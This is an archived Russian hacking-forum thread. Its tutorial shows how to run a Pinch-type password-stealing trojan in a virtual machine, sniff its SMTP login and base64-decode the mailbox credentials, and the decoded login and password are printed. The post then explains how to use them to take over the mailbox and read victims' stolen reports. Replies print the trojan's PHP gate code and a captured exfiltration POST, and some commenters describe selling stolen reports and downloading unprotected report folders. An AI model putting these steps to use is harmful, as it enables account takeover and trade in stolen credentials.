PDA

Просмотр полной версии : Обратная сторона трояна


fucker"ok
26.06.2007, 15:09
обратная сторона трояна
Всем нам приходят трояны. Они приходят через почту или icq. Обычно мы их удаляем или игнорируем ссылки на них. В статье я распишу один из способов получения выгоды из чужого трояна.

немного о трояне
Всем понятно, что троян куда-то посылает ваши пароль, обычно это почта или гейт. В статье буду рассматривать посылку паролей на почту.

а что несёт в себе троян?
Даже нубу известно, что троян ворует пароли, но не каждый смекнул, что по сути троян сам в себе несёт пароль от какой-то почты. А происходит это по следующей причине: большинство smtp серверов требуют авторизацию. Значит троян должен вначале авторизоваться на smtp сервере, а только потом он сможет отправить письмо. (Пару лет назад авторизации на smtp небыло даже на mail.ru. Какие были времена..) Вот этот логин\пароль для авторизации мы и будем доставать.

как будем доставать?
Поскольку я не владею приёмами реверсинга и чудесами ассемблера, то будем доставать по рабоче-крестьянски - с помощью снифера. Естественно на своей машине запускать троян как-то не хочется, поэтому будем запускать на виртуальной (на неё вам нужно установить win)

toolz
Мы будем использовать две программы

vmware - виртуальная машина. Имеется 30-ти дневный бесплатный ключ.
wireshark- снифер пакетов. Бывший ethereal.

ссылки в конце статьи

begin
Как вы наверно уже поняли, мы будем запускать троян на виртуальной машине, а на своей реальной машине будем сниферить куда какие пакеты идут. (в принципе если вы это поняли и знаете как это делается, то дальше можно не читать)
Сперва запускаем снифер и настраиваем его на интерфейс смотрящий в интернет.

Выбор интерфейса
http://img408.imageshack.us/img408/2520/notroj1ya8.gif
В моём случае я выбираю интерфейс eth0 (жму start рядом с ним) Снифер работает.
Теперь нам нужно запустить сам троян под vmware. Тут я думаю обойдёмся без скриншотов :) Запуск под vmware совершенно безопасен для вашей винды.
Запустили. Троян отправил рапорты. Теперь возвращаемся к сниферу.
Останавливаем процесс сбора пакетов (такая красная кнопочка)

находим smtp пакет и смотрем содержимое (folow tcp stream)
http://img209.imageshack.us/img209/5378/notroj2eh2.gif

нужный кусок содержимого
http://img171.imageshack.us/img171/2247/notroj3kp5.gif
Красным цветом снифер отмечает пакеты, которые отсылаете ВЫ, а синим отмечены ответы на ваши пакеты.

Что мы имеем?
Итак. Начинаем разбирать что имеем.

220 mail.ru ESMTP Tue, 26 Jun 2007 13:36:32 +0400
От сюда понятно, что smtp сервер mail.ru
AUTH LOGIN
Это значит, что троян сейчас будет посылать логин\пароль
eFh4LVNvZnR3YXJl
это троян послал логин
NjZiOTMzNWM2ZDFhOTUxOA==
это пароль

Так же из снифера можно узнать куда и откуда идёт письмо.
Пока наш логин\пароль не очень похож на нормальный логин\пароль. Согласно спекам протокола smtp такие вещи передаются в base64. Естественно их нужно декодировать. Это очень просто сделать, достаточно ввести в google base64 decoder и будет куча ссылок. Например вот этот кодер\декодер (http://makcoder.sourceforge.net/demo/base64.php)
Декодируя логин\пароль мы получим
логин - xXx-Software
пароль - 66b9335c6d1a9518
Вот мы и получили заветный логин\пароль от почты, через которую троян посылает пароли.

Ошибка в настройке трояна
Очень часто юные впариватели указывают в настройках того же пинча логин\пароль от той же почты, куда и идут рапорты трояна. Для нас это конечно идеальный вариант и он очень часто встречается в сети. Три из трёх троянов, которые в последние дни мне пытались впарить были именно такие. =)
Естественно при таком раскладе мы имеем доступ к рапортом трояна. Тоесть наш герой трудиться и впаривает трояны, а мы берём уже готовые рапорты =)))

А если троян настроен нормально?
Тут уже поживиться чужими рапортами не получиться т.к. троян логиниться под одной почтой, а посылает на другую. Пока я не встречал почтовых серверов (я просто ими не пользуюсь), где была бы доступна опция сохранения исходящих писем через smtp. Если появятся такие почтовые службы, то мы опять сможем контролировать все рапорты. В любом случае мы можем сделать юному впаривателю западло, а именно изменить пароль на почту. И вся его рассылка трояна пропадёт т.к. троян не сможет зайти на сервер. (если конечно есть возможность смены пароля. Да и пароль можно восстановить)

end
Думаю этой статьёй я сильно не открыл глаза тем, кто умеет пользоваться снифером, но лично мне было трудно представить сразу, что троян, который ворует пароли, по сути сам несёт в себе пароль. Так же в статье я не разбирал троян, который отсылает рапорты на гейт (пока руки не дошли)
Способ в действии вы можете посмотреть в моём видео, которое я снял для этой статьи. В видео я делаю так мной названый "обратный хэк =/".

links
vmware (http://www.vmware.com/)
virtualbox можно использовать вместо vmware (http://www.virtualbox.org/)
wireshark (http://www.wireshark.org/)
base63 encoder\decoder (http://makcoder.sourceforge.net/demo/base64.php)

video
http://video.antichat.ru/file230.html
Видео в формате ogg должно открываться с помощью mediaplayer.

упд
Вместо vmware можно использовать virtualbox (http://www.virtualbox.org/), который полностью бесплатный.

-=lebed=-
26.06.2007, 15:21
Какой трой рассмотрен в статье? Pinch ?
Практика применения материала:
1. Дезактивация рассылки отчётов чужого троя (выгода сомнительна)
2. Если повезёт (ошибка настройки троя), то хаваем чужие отчёты. (выгода есть).

P.S. Гуд. Пиши продолжение, если отсылка идёт на гейт.

tcl
26.06.2007, 15:30
какая выгода? :) Простое удовлетворения от того, что какой-то добоёб потеряет своего понча. Вот например один топик в тему с васма http://www.wasm.ru/forum/viewtopic.php?id=20101
PS Все кто рассылает пончи, но не может сам реализовать хотя бы приблизительно похожее - простые чайники, которым в интернет нельзя.

fucker"ok
26.06.2007, 16:04
Какой трой рассмотрен в статье? Pinch ?
В моём видео это пинч, хотя в статье троян рассматривается в принципе т.к. думаю большинство троянов работают по такой же схеме. Просто пинч - сможет даже амёба
2. Если повезёт (ошибка настройки троя), то хаваем чужие отчёты. (выгода есть).
Везёт очень часто =)
какая выгода? Простое удовлетворения от того, что какой-то добоёб потеряет своего понча
true!

Ch3ck
26.06.2007, 16:13
жду пока добавят\не добавят на video.antichat.ru
Мне кажется видео излишне. И без него всё понятно....

GreenBear
26.06.2007, 16:21
Мне кажется видео очень "лишне". И без него всё понятно....
да нет. видео прежде всего для новичков, я думаю будет интересно им посмотреть.

fucker"ok
26.06.2007, 16:28
GreenBear, так тыж модератор. Я тебе послал на video@antichat.ru :D

GreenBear
26.06.2007, 16:36
ну я делаю.. у меня 95% аплоада на торренте =) заливается ...

Digimortal
26.06.2007, 17:03
гораздо интереснее дать пинчу украсть у вас пасс от фтп, где хранится "приватный софт" (потрояненные уже вами какие-нить фейки)..

а насчет видео - согласен с BlackLogic'ом - из-за такой ерунды наврядли кто захочет 11м качать..

кста, чаще всего, если используют тот же пинч, то с отсылкой отчетов на гейт, а не на почту..

fucker"ok
26.06.2007, 17:09
из-за такой ерунды наврядли кто захочет 11м качать
Сейчас это не проблема. Сбегал в туалет по маленькому, оно и скачалось =) РАзве что модемщикам проблемно.

кста, чаще всего, если используют тот же пинч, то с отсылкой отчетов на гейт, а не на почту..
От того у тебя и репутация 558 =)

genom--
26.06.2007, 20:56
статья гавно

на гейт тупо смотрим код гейта и вуаля истина открывается нам

$ip=getenv("REMOTE_ADDR");
$email=$_POST['a'];
$subject=$_POST['b']." (".$ip.")";
$msg=str_replace(" ", "+", $_POST['c']);
$var=$_POST['d'];
постом а a идет мыло
в это сабж -- в с само содержимое отчета тк передается через веб то пробелы идут как +
в пост d идет расширение отчета

бугого рассматривал классический гейт --------- кстати то что отсылается в пост С -- сам текст отчета еще и в base64 кодирован -- при записи декодится

вуаля я тоже тсатью написал --- давайте мне пицот плюсенков =) -- чет я сення разошелся

OverflOw
27.06.2007, 01:37
да нет. видео прежде всего для новичков, я думаю будет интересно им посмотреть.
ну я не думаю что новички многое поймут в незнакомом линух интерфейсе) а вообще видео неплохое, ибо наглядный пример всегда лучше.

Хорошая статья, спасибо =)

KEZ
27.06.2007, 06:46
а дизассемблировать понча и посмотреть там мыло и пароль не судьба?
может уж тогда поставим снифер у провайдера и будет смотреть что через нас посылает понч?
выгода - да, супер выгода. отнять чужое мыло с отчетами понча. потом продавать девятизнаки и красивые мыла за 0.01 wmr

_Great_
27.06.2007, 07:51
Поскольку я не владею приёмами реверсинга и чудесами ассемблера, то будем доставать по рабоче-крестьянски - с помощью снифера.
Софт, который грузят тебе на комп, бывает весьма разнообразный, поэтому без реверса тут делать, вообщем-то, и нечего

KEZ
27.06.2007, 09:07
для примера - логин и пароль к мылу идут на HTTP гейт зашироваными. xor'ом даже если. и что тогда делать?

NaX[no]rT
27.06.2007, 10:05
Если Xor'ом, то ничего страшного, если что-то другое - сложнее

KEZ
27.06.2007, 10:38
ксором и к каждому очередному байту прибавлять очередное значение из таблицы
0xff, 0x2d, 0x24, 0x5c, 0xc2, 0xfc, 0x99 по кругу.
страшно?

fucker"ok
27.06.2007, 17:58
ну я не думаю что новички многое поймут в незнакомом линух интерфейсе) а вообще видео неплохое, ибо наглядный пример всегда лучше.
Эти же программы есть под windows.

выгода - да, супер выгода. отнять чужое мыло с отчетами понча. потом продавать девятизнаки и красивые мыла за 0.01 wmr
Тут согласен в принципе. Зато есть духовное удовлетворение. =)
а дизассемблировать понча и посмотреть там мыло и пароль не судьба?
Были такая мысль, но я сразу написал, что ассемблером и реверсингом не владею.

Ni0x
03.07.2007, 00:08
а дизассемблировать понча и посмотреть там мыло и пароль не судьба?
это самый правильный вариант, но статья явно ориентирована не для знатоков.
выгода - да, супер выгода. отнять чужое мыло с отчетами понча. потом продавать девятизнаки и красивые мыла за 0.01 wmr
сейчас многие хак порталы загибаются из-за обилия такого говна в "купле-продаже", это пораждает всяких ублюдков барыжащих очередным мпаком за 10$, поэтому, как по мне, нужно либо не выкладывать такие статьи в паблик, либо убирать продажные разделы в приват.

cataha01
10.07.2007, 01:47
НЕ мужики (и прекрасные дамы ) чё вы на человека накинулись у меня нет тут рейтинга и тд но всётаки человек старался и не для тех кто гуру или как там а для начинающих !
А вы всё засрали !

es1k
14.07.2007, 19:31
мне статья понравилась , молодец, что не поленился , снял видео и расталковал всё.

Tw!m4
16.08.2007, 17:00
прет!
а что если трой отсылает рапорты по www протоколу в base64, знаю....можно и расшифровать, но как то не получается, там по любому какието непонятные знаки стоят :(
код таков:
POST /<directory>/gate.php HTTP/1.0
Host: blah.blah.ru
Content-Type: application/x-www-form-urlencoded
Content-Length: 2384

a=<cool hatsker>@mail.ru&b=pinch3_report&d=report.bin&c=Qk02IK0PAABB....

ну и так далее, че тут можна сделать?

dscan
16.08.2007, 17:20
ниче

lab
23.08.2007, 18:23
какая выгода? :) Простое удовлетворения от того, что какой-то добоёб потеряет своего понча.
выгода- отчеты

WAR!9G
23.08.2007, 22:23
прет!
а что если трой отсылает рапорты по www протоколу в base64, знаю....можно и расшифровать, но как то не получается, там по любому какието непонятные знаки стоят
Там и расшифровывать бэйс нечего - всё что ты получил бы при удачной расшифровке - данные о себе и своей машине...

выгода - да, супер выгода. отнять чужое мыло с отчетами понча. потом продавать девятизнаки и красивые мыла за 0.01 wmr
Знаешь, я пару лет тому назад, в течении дней двух-трёх, активно дизассемблил пинч, но таким редкостным гемороем не занимался, конечно изредка лениво просматривал отчёты на наличие того, чтобы меня могло нереально удивить, но в конце концов продавал отчёты в чистом виде. Для того кто уже чего то достиг и что то умеет 10 баксов - копейки, а для нормальных, начинающих пацанов то, что надо для старта! ;)

Агафончег
17.10.2007, 19:37
Доброго времени суток ;) Сделал вроде всё как написано, но не получается ничего выцепить из пакетов вот списочек пакетов, которые посылаются/принимаются после запуска трояна http://slil.ru/24991766 но ничего похожего на логин или пароль я не нашёл там...

Ch3ck
18.10.2007, 20:20
А У тебя фамилия не Агафонов?

k0lbasa
08.06.2008, 23:34
крадем чужие логи пинча (https://forum.zloy.org/showthread.php?t=56760)

DIMON4G
08.12.2008, 01:38
а чё эт за ошибка в проге? :(

http://pic.ipicture.ru/uploads/081208/7Wik911uA7.jpg
разобрался :D , поставил се это http:///www.winpcap.org/

Pernat1y
08.12.2008, 15:22
а чё эт за ошибка в проге? :(
ппц. написано-же было, что винПкап нужен =\

Taktik
12.04.2009, 06:09
Простите за некропостинг :)
Даже если троян отправляет отчеты на гейт,а не на мыло, часто начинающие троянеры( :D ) забывают установить права на папку,где хранятся отчеты :) Тоесть там не надо логин/пассворд вводить,просто прямо в папку отчетов(reports обычно) заходим и скачиваем отчеты.
Ну я себе 1 шоху так сделал :D